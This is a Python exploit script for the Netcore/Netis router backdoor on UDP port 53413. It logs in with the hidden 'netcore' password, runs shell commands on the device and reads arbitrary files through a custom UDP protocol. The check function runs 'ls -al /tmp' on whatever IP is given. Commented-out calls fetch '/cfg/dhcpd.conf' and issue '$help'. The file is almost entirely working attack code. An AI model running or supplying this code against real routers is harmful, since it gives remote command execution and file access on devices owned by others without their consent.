#!/usr/bin/python
# -*- coding: utf8 -*-
# NETCORE / NETDIS UDP 53413 BACKDOOR
# https://netisscan.shadowserver.org/
# http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
# https://www.seebug.org/vuldb/ssvid-90227
import socket
import struct
import logging
logging.basicConfig(level=logging.INFO, format="%(message)16s")
def create_udp_socket(timeout=10):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
return sock
def send_netcore_request(sock, host, port, data):
HEAD = "\x00" * 8
data = HEAD + data
sock.sendto(data, (host, port))
def recv_netcore_response(sock, buffsize=512):
try:
resp = None
addr = None
resp, addr = sock.recvfrom(buffsize)
except Exception as err:
logging.debug('[-] %s' % err)
finally:
return resp, addr
def do_mptlogin(sock, host, port):
"""
login netcore backdoor
"""
netcore_response = []
netcore_commands = ['netcore', '?']
for command in netcore_commands:
send_netcore_request(sock, host, port, command)
resp, addr = recv_netcore_response(sock)
if resp and resp not in netcore_response:
netcore_response.append(resp)
response_string = ",".join(netcore_response)
if len(netcore_response) >= 1 and ('\x00\x00\x00\x05' in response_string):
return (True, netcore_response)
return (False, netcore_response)
# ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00Login successed!\r\n',
# '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f']
# ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f',
# '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00'
# 'IGD MPT Interface daemon 1.0\x00']
# ['\x00\x00\x00\x06\x00\x01\x00\x00\xff\xff\xff\xffapmib_init fail!\r\n']
# ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
# sh: netcore: not found
# sh: /etc/services: Permission denied
# ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
# First Login : 'AA\x00\x05ABAA\x00\x00\x00\x00Login successed!\r\n'
# Second Login : IGD MPT Interface daemon 1.0
def do_mptfun(sock, host, port, cmdstring):
"""
Usage: $Help
Usage: $WriteMac <macaddr> <lan|wan|wlan1|wlan2|wlan3|wlan4>
Usage: $ReadMac <lan|wan|wlan1|wlan2|wlan3|wlan4>[<str|STR>[separator]|bin]
Usage: $WriteRegion <region> <wlan1|wlan3>
Usage: $ReadRegion <wlan1|wlan3>
Usage: $WriteSSID <SSID> <wlan1|wlan2|wlan3|wlan4>
Usage: $ReadSSID <wlan1|wlan2|wlan3|wlan4>
DESCRIPTION:
wlan1:2.4G main AP
wlan2:2.4G Multiple AP
wlan3:5G Main AP
wlan4:5G Multiple AP
region:the abbreviation of the country,Must be capitalized.Like US,HK,JP
"""
send_netcore_request(sock, host, port, cmdstring)
resp, addr = recv_netcore_response(sock)
if resp:
return (True, resp)
return (False, resp)
do_syscmd = do_mptfun
def do_getfile(sock, host, port, filename):
buffsize = 0x408 # buff size to read
datasize = 0x408 # data size from socket
contents = []
u1, u2, u3, u4 = 0, 1, 0, 0
HEAD = struct.pack('>H', u1)
HEAD += struct.pack('>H', u2)
HEAD += struct.pack('>H', u3)
HEAD += struct.pack('>H', u4)
data = HEAD + filename
sock.sendto(data, (host, port))
while buffsize == datasize:
data, addr = recv_netcore_response(sock, buffsize=buffsize)
if not data:
break
datasize = len(data)
u1, u2, u3, u4 = struct.unpack('>HHHH', data[:8])
contents.append(data[8:])
u2 = 5
HEAD = struct.pack('>H', u1)
HEAD += struct.pack('>H', u2)
HEAD += struct.pack('>H', u3)
HEAD += struct.pack('>H', u4)
sock.sendto(HEAD, (host, port))
data = "".join(contents)
if contents:
return True, data
return False, data
def do_putfile():
pass
def check(host, port=53413):
sock = create_udp_socket(timeout=8)
is_login, resp = do_mptlogin(sock, host, port)
print(is_login, resp)
if is_login:
print("[+] %s:%s - \033[32mvulnerable\033[m" % (host, port))
# bool_ret, resp = do_mptfun(sock, host, port, '$help')
# print(resp)
# bool_ret, resp = do_getfile(sock, host, port, '/cfg/dhcpd.conf')
# print(resp)
bool_ret, resp = do_syscmd(sock, host, port, 'ls -al /tmp')
sock.close()
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("[*] Usage: {} <target-netdis-ip>".format(sys.argv[0]))
else:
check(sys.argv[1])